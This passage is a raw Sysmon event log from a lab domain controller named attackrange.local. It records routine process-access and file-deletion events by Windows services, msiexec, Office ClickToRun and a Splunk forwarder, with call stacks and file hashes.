14:44:42.205{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2B00-00000000F001}2964C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043336Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.174{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F5A-613B-1E09-00000000F001}6584C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000043335Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.174{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F5A-613B-1E09-00000000F001}6584C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 23542300x800000000000000043334Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.174{7BD73061-6D0F-613B-9406-00000000F001}4480ATTACKRANGE\AdministratorC:\Windows\Explorer.EXEC:\Users\ADMINI~1\AppData\Local\Temp\{73E96078-FB25-40B2-8EAE-E056D3E3E11F}.pngMD5=00E5FCFD833151F7CBDE607E2F7AFEB4,SHA256=B80192AAABE007BAECD0603E3CE183E9D554B8A6B0411D20716ACFA086AE3035,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000043333Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.174{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2B00-00000000F001}2964C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043332Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.174{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2B00-00000000F001}2964C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043331Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.174{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F59-613B-1A09-00000000F001}2816C:\Windows\SysWOW64\msiexec.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043330Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.158{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2B00-00000000F001}2964C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043329Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.158{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2B00-00000000F001}2964C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043328Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.158{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2B00-00000000F001}2964C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043327Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.158{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2B00-00000000F001}2964C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043326Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.158{7BD73061-6E00-613B-E006-00000000F001}59925868C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe{7BD73061-6F5A-613B-1D09-00000000F001}4264C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonx64\Microsoft Shared\OFFICE16\OLicenseHeartbeat.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvVirtualization.dll+8f4a|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvVirtualization.dll+822c|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvVirtualization.dll+775b|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043325Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.158{7BD73061-6E00-613B-E006-00000000F001}59925868C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe{7BD73061-6F5A-613B-1D09-00000000F001}4264C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonx64\Microsoft Shared\OFFICE16\OLicenseHeartbeat.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvVirtualization.dll+7ae3|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvVirtualization.dll+775b|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043324Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.158{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2B00-00000000F001}2964C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043323Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.143{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2B00-00000000F001}2964C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043322Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.143{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2B00-00000000F001}2964C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043321Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.143{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2B00-00000000F001}2964C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043320Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.127{7BD73061-65B2-613B-1600-00000000F001}1296972C:\Windows\system32\svchost.exe{7BD73061-6F59-613B-1A09-00000000F001}2816C:\Windows\SysWOW64\msiexec.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|c:\windows\system32\themeservice.dll+235b|c:\windows\system32\themeservice.dll+1ed0|c:\windows\system32\themeservice.dll+2006|C:\Windows\SYSTEM32\ntdll.dll+39cf9|C:\Windows\SYSTEM32\ntdll.dll+1e88a|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043319Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.127{7BD73061-65B2-613B-1600-00000000F001}12961324C:\Windows\system32\svchost.exe{7BD73061-6F59-613B-1A09-00000000F001}2816C:\Windows\SysWOW64\msiexec.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|c:\windows\system32\themeservice.dll+144a|c:\windows\system32\themeservice.dll+4175|c:\windows\system32\themeservice.dll+3379|c:\windows\system32\themeservice.dll+31a3|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000043318Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.112{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=8CE7E618E42EA178FE4EBD3858125AB2,SHA256=65863F0BB682B7F62A7B272D224448C58134078FA5FDA208C5FE7B710A62B739,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000043317Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.080{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=0A0F7726235DB0394BE012141AB16E1D,SHA256=8608EF96488B8E6DC411F481246FE552EC31A9B6928445900C76AED47E60DE2D,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000043316Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.080{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=225D6244BF4991A016F7359F0E5C14C6,SHA256=49C3E3BA6C4DFEA9D7914A144CB5579678DBA87EB243990D3F506E29F10616A7,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000043315Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.065{7BD73061-6D0B-613B-7F06-00000000F001}36602200C:\Windows\system32\csrss.exe{7BD73061-6F5A-613B-1D09-00000000F001}4264C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonx64\Microsoft Shared\OFFICE16\OLicenseHeartbeat.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000043314Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.065{7BD73061-6DFF-613B-DF06-00000000F001}57961552C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe{7BD73061-6F5A-613B-1D09-00000000F001}4264C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonx64\Microsoft Shared\OFFICE16\OLicenseHeartbeat.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+546a1|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+544db|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+25b21d|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+25ada7|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+465ed5|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+464412|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+620c4|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+d4ccf|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+2394a2|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+174aca|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043313Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.049{7BD73061-65B2-613B-1300-00000000F001}926172C:\Windows\System32\svchost.exe{7BD73061-6F5A-613B-1D09-00000000F001}4264C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonx64\Microsoft Shared\OFFICE16\OLicenseHeartbeat.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\pcasvc.dll+ac96|c:\windows\system32\pcasvc.dll+aaf6|c:\windows\system32\pcasvc.dll+aab8|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043312Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.033{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F5A-613B-1C09-00000000F001}2520C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000043311Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.033{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Installer\inprogressinstallinfo.ipiMD5=3F4BCB82657A801A3C3351CF516ACFF2,SHA256=0C45F5BBBC369E3E46421612AC25774E70BC1DB26F56CD5AD24931E0FE20C63F,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000043310Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.033{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Temp\~DF9477A1482B6788F6.TMPMD5=BF619EAC0CDF3F68D496EA9344137E8B,SHA256=076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560,IMPHASH=00000000000000000000000000000000falsefalse - shredded file with pattern 0x00 23542300x800000000000000043309Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.033{7BD73061-6E8E-613B-1107-00000000F001}4116NT 